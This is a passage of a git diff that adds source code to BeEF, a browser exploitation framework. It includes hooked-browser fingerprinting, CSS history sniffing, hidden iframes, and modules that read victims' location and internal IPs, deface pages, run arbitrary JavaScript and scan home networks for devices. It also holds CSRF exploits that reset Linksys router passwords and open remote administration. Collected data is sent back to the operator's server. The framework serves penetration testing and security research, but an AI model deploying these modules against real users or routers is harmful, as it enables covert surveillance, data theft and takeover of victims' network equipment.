beef.net.local.getLocalHostname(); + + if(browser_name) details["BrowserName"] = browser_name; + if(browser_version) details["BrowserVersion"] = browser_version; + if(browser_reported_name) details["BrowserReportedName"] = browser_reported_name; + if(page_title) details["PageTitle"] = page_title; + if(hostname) details["HostName"] = hostname; + if(browser_plugins) details["BrowserPlugins"] = browser_plugins; + if(os_name) details['OsName'] = os_name; + if(internal_ip) details['InternalIP'] = internal_ip; + if(internal_hostname) details['InternalHostname'] = internal_hostname; + + return details; + }, + + /** + * Returns array of results, whether or not the target zombie has visited the specified URL + */ + hasVisited: function(urls) { + var results = new Array(); + var iframe = beef.dom.createInvisibleIframe(); + var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document; + ifdoc.open(); + ifdoc.write(''); + ifdoc.close(); + urls = urls.split("\n"); + var count = 0; + for (var i in urls) + { + var u = urls[i]; + if (u != "" || u != null) + { + var success = false; + var a = ifdoc.createElement('a'); + a.href = u; + ifdoc.body.appendChild(a); + var width = null; + (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width"); + if (width == '0px') { + success = true; + } + results.push({'url':u, 'visited':success}); + count++; + } + } + beef.dom.removeElement(iframe); + if (results.length == 0) + { + return false; + } + return results; + }, + + /** + * Checks if the zombie has Google Gears installed. + * @return: {Boolean} true or false. + * + * @from: https://code.google.com/apis/gears/gears_init.js + * */ + hasGoogleGears: function() { + + if (window.google && google.gears) { + return true; + } + + var ggfactory = null; + + // Firefox + if (typeof GearsFactory != 'undefined') { + ggfactory = new GearsFactory(); + } else { + // IE + try { + ggfactory = new ActiveXObject('Gears.Factory'); + // IE Mobile on WinCE. + if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) { + ggfactory.privateSetGlobalObject(this); + } + } catch (e) { + // Safari + if ((typeof navigator.mimeTypes != 'undefined') + && navigator.mimeTypes["application/x-googlegears"]) { + ggfactory = document.createElement("object"); + ggfactory.style.display = "none"; + ggfactory.width = 0; + ggfactory.height = 0; + ggfactory.type = "application/x-googlegears"; + document.documentElement.appendChild(ggfactory); + if(ggfactory && (typeof ggfactory.create == 'undefined')) { + ggfactory = null; + } + } + } + } + if (!ggfactory) { + return false + } else { + return true + } + }, + + /** + * Changes the favicon in firefox only + **/ + changeFavicon: function(favicon_url) { + var link = document.createElement('link'); + link.type = 'image/x-icon'; + link.rel = 'shortcut icon'; + link.href = favicon_url; + document.getElementsByTagName('head')[0].appendChild(link); + }, + + /** + * Changes page title + **/ + changePageTitle: function(title) { + document.title = title; + }, + + + /** + * A function that gets the max number of simaltaneous connections the browser can make + * per domain, or globally on all domains. + * + * This code is based on research from browserspy.dk + * + * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default} + * @return {Deferred promise} A jQuery deferred object promise, which when resolved passes + * the number of connections to the callback function as "this" + * + * example usage: + * $j.when(getMaxConnections()).done(function(){ + * console.debug("Max Connections: " + this); + * }); + * + */ + getMaxConnections: function(scope) { + + var imagesCount = 30; // Max number of images to test. + var secondsTimeout = 5; // Image load timeout threashold. + var testUrl =""; // The image testing service URL. + + // User broserspy.dk max connections service URL. + if(scope=='PER_DOMAIN') + testUrl = "http://browserspy.dk/connections.php?img=1&random="; + else + // The token will be replaced by a different number with each request(different domain). + testUrl = "http://.browserspy.dk/connections.php?img=1&random="; + + + var imagesLoaded = 0; // Number of responding images before timeout. + var imagesRequested = 0; // Number of requested images. + var testImages = new Array(); // Array of all images. + var deferredObject = $j.Deferred(); // A jquery Deferred object. + + for (var i = 1; i <= imagesCount; i++) + { + // Asynchronously request image. + testImages[i] = + $j.ajax({ + type: "get", + dataType: true, + url: (testUrl.replace("",i)) + Math.random(), + data: "", + timeout: (secondsTimeout * 1000), + + // Function on completion of request. + complete: function(jqXHR, textStatus){ + + imagesRequested++; + + // If the image returns a 200 or a 302, the text Status is "error", else null + if(textStatus == "error") + { + imagesLoaded++; + } + + // If all images requested + if(imagesRequested >= imagesCount) + { + // resolve the deferred object passing the number of loaded images. + deferredObject.resolveWith(imagesLoaded); + } + } + }); + + } + + // Return a promise to resolve the deffered object when the images are loaded. + return deferredObject.promise(); + + } + +}; + +beef.regCmp('beef.browser'); diff --git a/core/main/client/browser/cookie.js b/core/main/client/browser/cookie.js new file mode 100644 index 000000000..9c5545f28 --- /dev/null +++ b/core/main/client/browser/cookie.js @@ -0,0 +1,95 @@ +/*! + * @literal object: beef.browser.cookie + * + * Provides fuctions for working with cookies. + * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php + * Original author unknown. + * + */ +beef.browser.cookie = { + + setCookie: function (name, value, expires, path, domain, secure) + { + + var today = new Date(); + today.setTime( today.getTime() ); + + if ( expires ) + { + expires = expires * 1000 * 60 * 60 * 24; + } + var expires_date = new Date( today.getTime() + (expires) ); + + document.cookie = name + "=" +escape( value ) + + ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) + + ( ( path ) ? ";path=" + path : "" ) + + ( ( domain ) ? ";domain=" + domain : "" ) + + ( ( secure ) ? ";secure" : "" ); + }, + + getCookie: function(name) + { + var a_all_cookies = document.cookie.split( ';' ); + var a_temp_cookie = ''; + var cookie_name = ''; + var cookie_value = ''; + var b_cookie_found = false; + + for ( i = 0; i < a_all_cookies.length; i++ ) + { + a_temp_cookie = a_all_cookies[i].split( '=' ); + cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, ''); + if ( cookie_name == name ) + { + b_cookie_found = true; + if ( a_temp_cookie.length > 1 ) + { + cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') ); + } + return cookie_value; + break; + } + a_temp_cookie = null; + cookie_name = ''; + } + if ( !b_cookie_found ) + { + return null; + } + }, + + deleteCookie: function (name, path, domain) + { + if ( this.getCookie(name) ) document.cookie = name + "=" + + ( ( path ) ? ";path=" + path : "") + + ( ( domain ) ? ";domain=" + domain : "" ) + + ";expires=Thu, 01-Jan-1970 00:00:01 GMT"; + }, + + hasSessionCookies: function (name) + { + var name = name || "cookie"; + if (name == "") name = "cookie"; + this.setCookie( name, 'none', '', '/', '', '' ); + + cookiesEnabled = (this.getCookie(name) == null)? false:true; + this.deleteCookie(name, '/', ''); + return cookiesEnabled; + + }, + + hasPersistentCookies: function (name) + { + var name = name || "cookie"; + if (name == "") name = "cookie"; + this.setCookie( name, 'none', 1, '/', '', '' ); + + cookiesEnabled = (this.getCookie(name) == null)? false:true; + this.deleteCookie(name, '/', ''); + return cookiesEnabled; + + } + +}; + +beef.regCmp('beef.browser.cookie'); \ No newline at end of file diff --git a/core/main/client/dom.js b/core/main/client/dom.js new file mode 100644 index 000000000..3c1475c7a --- /dev/null +++ b/core/main/client/dom.js @@ -0,0 +1,188 @@ +/*! + * @literal object: beef.dom + * + * Provides functionalities to manipulate the DOM. + */ +beef.dom = { + + /** + * Generates a random ID for HTML elements + * @param: {String} prefix: a custom prefix before the random id. defaults to "beef-" + * @return: generated id + */ + generateID: function(prefix) { + return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999); + }, + + /** + * Creates a new element but does not append it to the DOM. + * @param: {String} the name of the element. + * @param: {Literal Object} the attributes of that element. + * @return: the created element. + */ + createElement: function(type, attributes) { + var el = document.createElement(type); + + for(index in attributes) { + if(typeof attributes[index] == 'string') { + el.setAttribute(index, attributes[index]); + } + } + + return el; + }, + + /** + * Removes element from the DOM. + * @param: {String or DOM Object} the target element to be removed. + */ + removeElement: function(el) { + if (!beef.dom.isDOMElement(el)) + { + el = document.getElementById(el); + } + try { + el.parentNode.removeChild(el); + } catch (e) { } + }, + + /** + * Tests if the object is a DOM element. + * @param: {Object} the DOM element. + * @return: true if the object is a DOM element. + */ + isDOMElement: function(obj) { + return (obj.nodeType) ? true : false; + }, + + /** + * Creates an invisible iframe on the hook browser's page. + * @return: the iframe. + */ + createInvisibleIframe: function() { + var iframe = this.createElement('iframe', { + width: '1px', + height: '1px', + style: 'visibility:hidden;' + }); + + document.body.appendChild(iframe); + + return iframe; + }, + + /** + * @param: {String} type: can be one of the following: hidden, fullscreen, custom + * @param: {String} method: can be 'get' or 'post'. defaults to get + * @param: {Hash} params: list of params that will be sent in request. + * @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter + * @param: {Function} a callback function to fire once the iframe has loaded + * @return: {Object} the inserted iframe + */ + createIframe: function(type, method, params, styles, onload) { + var css = {}; + var form_submit = (method.toLowerCase() == 'post') ? true : false; + if (form_submit && params['src']) + { + var form_action = params['src']; + params['src'] = ''; + } + if (type == 'hidden') { css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles); } + if (type == 'fullscreen') { css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px'}, styles); $j('body').css({'padding':'0px', 'margin':'0px'}); } + var iframe = $j('"; + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!"); +}); diff --git a/modules/host/iphone_tel/config.yaml b/modules/host/iphone_tel/config.yaml new file mode 100644 index 000000000..d24dd08c5 --- /dev/null +++ b/modules/host/iphone_tel/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + iphone_tel: + enable: true + category: "Host" diff --git a/modules/host/iphone_tel/module.rb b/modules/host/iphone_tel/module.rb new file mode 100644 index 000000000..68c3abc79 --- /dev/null +++ b/modules/host/iphone_tel/module.rb @@ -0,0 +1,37 @@ +class Iphone_tel < BeEF::Core::Command + + # + # Defines and set up the command module. + # + def initialize + super({ + 'Name' => 'iPhone Telephone URL', + 'Description' => 'This module will force the browser to attempt a skype + call. It will exploit the insecure handling of URL schemes in iOS.
+
+ The protocol handler used will be: tel', + 'Category' => 'Host', + 'Author' => 'xntrik, Nitesh Dhanjani', + 'Data' => [ + { 'name' => 'tel_num', 'ui_label'=>'Number', 'value' =>'5551234','width' => '200px' }, + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => S + }) + + use 'beef.dom' + use_template! + end + + def callback + content = {} + content['Result'] = @datastore['result'] + save content + + end + +end \ No newline at end of file diff --git a/modules/host/physical_location/command.js b/modules/host/physical_location/command.js new file mode 100644 index 000000000..784609b4b --- /dev/null +++ b/modules/host/physical_location/command.js @@ -0,0 +1,11 @@ +beef.execute(function() { + + if(!beef.geolocation.isGeolocationEnabled()){ + beef.net.send("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=FALSE&latitude=&longitude="); + return; + } + + beef.geolocation.getGeolocation("<%= @command_url %>", <%= @command_id %>); + +}); + diff --git a/modules/host/physical_location/config.yaml b/modules/host/physical_location/config.yaml new file mode 100644 index 000000000..8f4d979e4 --- /dev/null +++ b/modules/host/physical_location/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + physical_location: + enable: true + category: "Host" diff --git a/modules/host/physical_location/module.rb b/modules/host/physical_location/module.rb new file mode 100644 index 000000000..3c3cab1a1 --- /dev/null +++ b/modules/host/physical_location/module.rb @@ -0,0 +1,32 @@ +class Physical_location < BeEF::Core::Command + + def initialize + super({ + 'Name' => 'Physical location', + 'Description' => %Q{ + This module will retrieve the physical location of the victim using the geolocation API + }, + 'Category' => 'Host', + 'Author' => ['antisnatchor'], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => ALL + }) + + use 'beef.geolocation' + use_template! + end + + def callback + content = {} + content['Geolocation Enabled'] = @datastore['geoLocEnabled'] + content['Latitude'] = @datastore['latitude'] + content['Longitude'] = @datastore['longitude'] + content['OSM address'] = @datastore['osm'] + save content + end + +end \ No newline at end of file diff --git a/modules/misc/alert_dialog/command.js b/modules/misc/alert_dialog/command.js new file mode 100644 index 000000000..2b03ecd33 --- /dev/null +++ b/modules/misc/alert_dialog/command.js @@ -0,0 +1,5 @@ +beef.execute(function() { + alert("<%== format_multiline(@text) %>"); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%== format_multiline(@text) %>"); +}); diff --git a/modules/misc/alert_dialog/config.yaml b/modules/misc/alert_dialog/config.yaml new file mode 100644 index 000000000..d989f2420 --- /dev/null +++ b/modules/misc/alert_dialog/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + alert_dialog: + enable: true + category: "Misc" diff --git a/modules/misc/alert_dialog/module.rb b/modules/misc/alert_dialog/module.rb new file mode 100644 index 000000000..447c76202 --- /dev/null +++ b/modules/misc/alert_dialog/module.rb @@ -0,0 +1,33 @@ +class Alert_dialog < BeEF::Core::Command + + # + # Defines and set up the command module. + # + def initialize + super({ + 'Name' => 'Alert Dialog', + 'Description' => 'Sends an alert dialog to the victim', + 'Category' => 'Misc', + 'Author' => 'bm', + 'Data' => [ + {'name' => 'text', 'ui_label'=>'Alert text', 'type' => 'textarea', 'value' =>'BeEF', 'width' => '400px', 'height' => '100px'} + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => ALL + }) + + # This tells the framework to use the file 'alert.js' as the command module instructions. + use_template! + end + + def callback + content = {} + content['User Response'] = "The user clicked the 'OK' button when presented with an alert box." + save content + end + +end \ No newline at end of file diff --git a/modules/misc/deface_web_page/command.js b/modules/misc/deface_web_page/command.js new file mode 100644 index 000000000..b37d1a76d --- /dev/null +++ b/modules/misc/deface_web_page/command.js @@ -0,0 +1,5 @@ +beef.execute(function() { + document.body.innerHTML = "<%= @deface_content %>"; + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Succesfull"); +}); diff --git a/modules/misc/deface_web_page/config.yaml b/modules/misc/deface_web_page/config.yaml new file mode 100644 index 000000000..b82e468ad --- /dev/null +++ b/modules/misc/deface_web_page/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + deface_web_page: + enable: true + category: "Misc" diff --git a/modules/misc/deface_web_page/module.rb b/modules/misc/deface_web_page/module.rb new file mode 100644 index 000000000..1d9475d9c --- /dev/null +++ b/modules/misc/deface_web_page/module.rb @@ -0,0 +1,34 @@ +class Deface_web_page < BeEF::Core::Command + + # + # Defines and set up the command module. + # + def initialize + super({ + 'Name' => 'Deface Web Page', + 'Description' => 'Overwrite the body of the page the victim is on with the "Deface Content" string', + 'Category' => 'Misc', + 'Author' => 'antisnatchor', + 'Data' => [ + { 'name' => 'deface_content', 'ui_label'=>'Deface Content', 'type' => 'textarea', 'value' =>'Defaced!', 'width' => '400px', 'height' => '100px' }, + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => ALL + }) + + use 'beef.dom' + use_template! + end + + def callback + content = {} + content['Result'] = @datastore['result'] + save content + + end + +end \ No newline at end of file diff --git a/modules/misc/prompt_dialog/command.js b/modules/misc/prompt_dialog/command.js new file mode 100644 index 000000000..b00965044 --- /dev/null +++ b/modules/misc/prompt_dialog/command.js @@ -0,0 +1,5 @@ +beef.execute(function() { + + var answer = prompt("<%== @question %>","") + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+escape(answer)); +}); diff --git a/modules/misc/prompt_dialog/config.yaml b/modules/misc/prompt_dialog/config.yaml new file mode 100644 index 000000000..0c3a856bd --- /dev/null +++ b/modules/misc/prompt_dialog/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + prompt_dialog: + enable: true + category: "Misc" diff --git a/modules/misc/prompt_dialog/module.rb b/modules/misc/prompt_dialog/module.rb new file mode 100644 index 000000000..f38bae609 --- /dev/null +++ b/modules/misc/prompt_dialog/module.rb @@ -0,0 +1,34 @@ +class Prompt_dialog < BeEF::Core::Command + + def initialize + super({ + 'Name' => 'Prompt Dialog', + 'Description' => 'Sends a prompt dialog to the victim', + 'Category' => 'Misc', + 'Author' => 'bm', + 'Data' => [ + {'name' =>'question', 'ui_label'=>'Prompt text'} + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => ALL + }) + + use_template! + end + + # + # This method is being called when a zombie sends some + # data back to the framework. + # + def callback + +# return if @datastore['answer']=='' + + save({'answer' => @datastore['answer']}) + end + +end \ No newline at end of file diff --git a/modules/misc/raw_javascript/command.js b/modules/misc/raw_javascript/command.js new file mode 100644 index 000000000..37c299dd8 --- /dev/null +++ b/modules/misc/raw_javascript/command.js @@ -0,0 +1,18 @@ +beef.execute(function() { + var result; + + try { + result = function() {<%= @cmd %>}(); + } catch(e) { + for(var n in e) + result+= n + " " + e[n] + "\n"; + } + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result)); +}); + + + + + + diff --git a/modules/misc/raw_javascript/config.yaml b/modules/misc/raw_javascript/config.yaml new file mode 100644 index 000000000..8f2f2b1eb --- /dev/null +++ b/modules/misc/raw_javascript/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + raw_javascript: + enable: true + category: "Misc" diff --git a/modules/misc/raw_javascript/module.rb b/modules/misc/raw_javascript/module.rb new file mode 100644 index 000000000..bbdca82b8 --- /dev/null +++ b/modules/misc/raw_javascript/module.rb @@ -0,0 +1,37 @@ +class Raw_javascript < BeEF::Core::Command + + def initialize + super({ + 'Name' => 'Raw Javascript', + 'Description' => %Q{ + This module will send the code entered in the 'JavaScript Code' section to the selected + zombie browsers where it will be executed. Code is run inside an anonymous function and the return + value is passed to the framework. Multiline scripts are allowed, no special encoding is required. + }, + 'Category' => 'Misc', + 'Author' => ['wade','vo'], + 'Data' => + [ + {'name' => 'cmd', 'ui_label' => 'Javascript Code', 'value' => "alert(\'BeEF Raw Javascript\');\nreturn \'It worked!\';", 'type' => 'textarea', 'width' => '400px', 'height' => '100px'}, + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use_template! + end + + # + # This method is being called when a zombie sends some + # data back to the framework. + # + def callback + + save({'result' => @datastore['result']}) + end + +end \ No newline at end of file diff --git a/modules/misc/replace_video/command.js b/modules/misc/replace_video/command.js new file mode 100644 index 000000000..41bd4fe06 --- /dev/null +++ b/modules/misc/replace_video/command.js @@ -0,0 +1,15 @@ +beef.execute(function() { + + $j('<%= @jquery_selector %>').each( + function ( intIndex ) { + + var width = $j(this).css('width'); + var height = $j(this).css('height'); + + $j(this).replaceWith(''); + + } + ) + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Replace Video Succesfull"); +}); diff --git a/modules/misc/replace_video/config.yaml b/modules/misc/replace_video/config.yaml new file mode 100644 index 000000000..be02f57c9 --- /dev/null +++ b/modules/misc/replace_video/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + replace_video: + enable: true + category: "Misc" diff --git a/modules/misc/replace_video/module.rb b/modules/misc/replace_video/module.rb new file mode 100644 index 000000000..c51b50df2 --- /dev/null +++ b/modules/misc/replace_video/module.rb @@ -0,0 +1,36 @@ +class Replace_video < BeEF::Core::Command + + # + # Defines and set up the command module. + # + def initialize + super({ + 'Name' => 'Replace Video', + 'Description' => 'Replaces an object selected with jQuery (all embed tags by default) with an embed tag containing the youtube video of your choice (rickroll by default).', + 'Category' => 'Misc', + 'Author' => 'Yori Kvitchko', + 'Data' => + [ + {'name' => 'youtube_id', 'ui_label' => 'YouTube Video ID', 'value' => 'dQw4w9WgXcQ', 'width'=>'150px'}, + {'name' => 'jquery_selector', 'ui_label' => 'jQuery Selector', 'value' => 'embed', 'width'=>'150px'} + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => ALL + }) + + use 'beef.dom' + use_template! + end + + def callback + content = {} + content['Result'] = @datastore['result'] + save content + + end + +end \ No newline at end of file diff --git a/modules/misc/rickroll/command.js b/modules/misc/rickroll/command.js new file mode 100644 index 000000000..5b8dc4c6b --- /dev/null +++ b/modules/misc/rickroll/command.js @@ -0,0 +1,10 @@ +beef.execute(function() { + $j('body').html(''); + + $j('body').css({'padding':'0px', 'margin':'0px', 'height':'100%'}); + $j('html').css({'padding':'0px', 'margin':'0px', 'height':'100%'}); + + $j('body').html(''); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Rickroll Succesfull"); +}); diff --git a/modules/misc/rickroll/config.yaml b/modules/misc/rickroll/config.yaml new file mode 100644 index 000000000..7534f34e8 --- /dev/null +++ b/modules/misc/rickroll/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + rickroll: + enable: true + category: "Misc" diff --git a/modules/misc/rickroll/module.rb b/modules/misc/rickroll/module.rb new file mode 100644 index 000000000..ff8eecf30 --- /dev/null +++ b/modules/misc/rickroll/module.rb @@ -0,0 +1,34 @@ +class Rickroll < BeEF::Core::Command + + # + # Defines and set up the command module. + # + def initialize + super({ + 'Name' => 'Rickroll', + 'Description' => 'Overwrite the body of the page the victim is on with a full screen Rickroll.', + 'Category' => 'Misc', + 'Author' => 'Yori Kvitchko', + 'Data' => + [ + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => ALL + }) + + use 'beef.dom' + use_template! + end + + def callback + content = {} + content['Result'] = @datastore['result'] + save content + + end + +end \ No newline at end of file diff --git a/modules/network/detect_local_settings/command.js b/modules/network/detect_local_settings/command.js new file mode 100644 index 000000000..b759d3672 --- /dev/null +++ b/modules/network/detect_local_settings/command.js @@ -0,0 +1,10 @@ +beef.execute(function() { + + var internal_ip = beef.net.local.getLocalAddress(); + var internal_hostname = beef.net.local.getLocalHostname(); + + if(internal_ip && internal_hostname) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, + 'internal_ip='+internal_ip+'&internal_hostname='+escape(internal_hostname)); + } +}); diff --git a/modules/network/detect_local_settings/config.yaml b/modules/network/detect_local_settings/config.yaml new file mode 100644 index 000000000..ea7baf9fe --- /dev/null +++ b/modules/network/detect_local_settings/config.yaml @@ -0,0 +1,8 @@ +beef: + module: + detect_local_settings: + enable: true + category: "Network" + fingerprint_local_network: + enable: false + category: "Network" diff --git a/modules/network/detect_local_settings/fingerprint_local_network.js b/modules/network/detect_local_settings/fingerprint_local_network.js new file mode 100644 index 000000000..c9ebbecc3 --- /dev/null +++ b/modules/network/detect_local_settings/fingerprint_local_network.js @@ -0,0 +1,51 @@ +beef.execute(function() { + + var dom = document.createElement('b'); + var ips = [ + 'http://192.168.0.1', + 'http://192.168.0.100', + 'http://192.168.0.254', + 'http://192.168.1.1', + 'http://192.168.1.100', + 'http://192.168.1.254', + 'http://10.0.0.1', + 'http://10.1.1.1', + 'http://192.168.2.1', + 'http://192.168.2.254', + 'http://192.168.100.1', + 'http://192.168.100.254', + 'http://192.168.123.1', + 'http://192.168.123.254' + ]; + var urls = new Array( + new Array("QNAP NAS",":8080","/ajax_obj/img/running.gif",16,16), + new Array("QNAP NAS",":8080","/ajax_obj/images/qnap_logo_w.gif",115,21), + new Array("Belkin Router",":80","/images/title_2.gif",321,28), + new Array("SMC Networks",":80","/images/logo.gif",133,59), + new Array("Linksys NAS",":80","/Admin_top.JPG",750,52), + new Array("Linksys NAS",":80","/logo.jpg",194,52), + new Array("Linksys Network Camera",":80","/welcome.jpg",146,250), + new Array("Linksys Wireless-G Camera",":80","/header.gif",750,97), + new Array("Cisco IP Phone",":80","/Images/Logo",120,66), + new Array("Snom Phone",":80","/img/snom_logo.png",168,62), + new Array("Brother Printer",":80","/pbio/brother.gif",144,52), + new Array("HP LaserJet",":80","/hp/device/images/logo.gif",42,27) + ); + + // for each ip + for(var i=0; i < ips.length; i++) { + + // for each url + for(var u=0; u < urls.length; u++) { + var img = new Image; + img.id = u; + img.src = ips[i]+urls[u][1]+urls[u][2]; + //img.title = ips[i]+urls[u][1]; + img.onload = function() { if (this.width == urls[this.id][3] && this.height == urls[this.id][4]) { beef.net.send('<%= @command_url %>', <%= @command_id %>,'device='+escape(urls[this.id][0])+"&url="+escape(this.src));dom.removeChild(this); } } + dom.appendChild(img); + } + } + // setTimeout("beef.net.send('<%= @command_url %>', <%= @command_id %>,'device=Failed')", 60000) + +}); + diff --git a/modules/network/detect_local_settings/fingerprint_local_network.rb b/modules/network/detect_local_settings/fingerprint_local_network.rb new file mode 100644 index 000000000..1262b7e62 --- /dev/null +++ b/modules/network/detect_local_settings/fingerprint_local_network.rb @@ -0,0 +1,70 @@ +module BeEF +module Modules +module Commands +# +# Fingerprint local network module +# This module attempts to fingerprint embedded devices within the zombies' +# local network. It does this by loading images on common local network +# IP addresses then matching the image width, height and path to those +# for a known device. +# +# TODO # +# +# Add IPv6 support +# Add HTTPS support +# - Devices with invalid certs are blocked by IE and FF by default +# Improve stealth +# - Load images with CSS "background:" CSS to avoid http auth login popups +# Improve speed +# - Make IP addresses a user-configurable option rather than a hard-coded list +# - Detect local ip range first - using browser history and/or with java +# - History theft via CSS history is patched in modern browsers. +# - Local IP theft with Java is slow and may fail + + +class Fingerprint_local_network < BeEF::Core::Command + + def initialize + super({ + 'Name' => 'Fingerprint local network', + 'Description' => 'Scan common local network IP addresses for embedded devices.', + 'Category' => 'Network', + 'Author' => ['bcoles@gmail.com', 'wade'], + 'File' => __FILE__ + }) + + # Doesn't work in FF4 (but works in 3.x) + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => FF + }) + + set_target({ + 'verified_status' => VERIFIED_NOT_WORKING, + 'browser_name' => O + }) + + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => IE + }) + + use_template! + end + + def callback + content = {} + content['device'] =@datastore['device'] if not @datastore['device'].nil? + content['url'] = @datastore['url'] if not @datastore['url'].nil? + if content.empty? + content['fail'] = 'Did not detect any local network devices' + end + save content + end + +end + +end +end +end + diff --git a/modules/network/detect_local_settings/module.rb b/modules/network/detect_local_settings/module.rb new file mode 100644 index 000000000..3b8dd3685 --- /dev/null +++ b/modules/network/detect_local_settings/module.rb @@ -0,0 +1,41 @@ +class Detect_local_settings < BeEF::Core::Command + + def initialize + super({ + 'Name' => 'Detect local settings', + 'Description' => 'Grab the local network settings (i.e internal ip address)', + 'Category' => 'Network', + 'Author' => ['pdp', 'wade', 'bm'], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => FF + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => C + }) + + set_target({ + 'verified_status' => VERIFIED_NOT_WORKING, + 'browser_name' => IE + }) + + use 'beef.net.local' + use_template! + end + + def callback + content = {} + content['internal ip'] = @datastore['internal_ip'] if not @datastore['internal_ip'].nil? + content['internal hostname'] = @datastore['internal_hostname'] if not @datastore['internal_hostname'].nil? + + content['fail'] = 'could not grab local network settings' if content.empty? + + save content + end + +end diff --git a/modules/network/inter-protocol/config.yaml b/modules/network/inter-protocol/config.yaml new file mode 100644 index 000000000..d59c02e7d --- /dev/null +++ b/modules/network/inter-protocol/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + inter-protocol: + enable: false + category: "Network" diff --git a/modules/network/linksys_befsr41_csrf/command.js b/modules/network/linksys_befsr41_csrf/command.js new file mode 100644 index 000000000..a43eac2bf --- /dev/null +++ b/modules/network/linksys_befsr41_csrf/command.js @@ -0,0 +1,5 @@ +beef.execute(function() { + var iframe = beef.dom.createInvisibleIframe(); + iframe.setAttribute('src', '<%= @base %>Gozila.cgi?PasswdModify=1&sysPasswd=<%= @password %>&sysPasswdConfirm=<%= @password %>&Remote_Upgrade=1&Remote_Management=1&RemotePort=<%= @port %>&UPnP_Work=0'); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); +}); diff --git a/modules/network/linksys_befsr41_csrf/config.yaml b/modules/network/linksys_befsr41_csrf/config.yaml new file mode 100644 index 000000000..b10440575 --- /dev/null +++ b/modules/network/linksys_befsr41_csrf/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + linksys_befsr41_csrf: + enable: true + category: "Network" diff --git a/modules/network/linksys_befsr41_csrf/module.rb b/modules/network/linksys_befsr41_csrf/module.rb new file mode 100644 index 000000000..eba6d99f5 --- /dev/null +++ b/modules/network/linksys_befsr41_csrf/module.rb @@ -0,0 +1,32 @@ +class Linksys_befsr41_csrf < BeEF::Core::Command + + # + # Defines and set up the command module. + # + def initialize + super({ + 'Name' => 'Linksys BEFSR41 CSRF Exploit', + 'Description' => 'Attempts to enable remote administration and change the password on a Linksys BEFSR41 router.', + 'Category' => 'Network', + 'Author' => 'Martin Barbella', + 'Data' => [ + {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'}, + {'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'}, + {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use_template! + end + + def callback + save({'result' => @datastore['result']}) + end + +end diff --git a/modules/network/linksys_wrt54g2_csrf/command.js b/modules/network/linksys_wrt54g2_csrf/command.js new file mode 100644 index 000000000..746f8076b --- /dev/null +++ b/modules/network/linksys_wrt54g2_csrf/command.js @@ -0,0 +1,92 @@ +beef.execute(function() { + var port = '<%= @port %>'; + var gateway = '<%= @base %>'; + var passwd = '<%= @password %>'; + + var target = gateway + "Manage.tri"; + + var iframe = beef.dom.createInvisibleIframe(); + + var form = document.createElement('form'); + form.setAttribute('action', target); + form.setAttribute('method', 'post'); + + var input = null; + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_USE_HTTP'); + input.setAttribute('value', 0); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 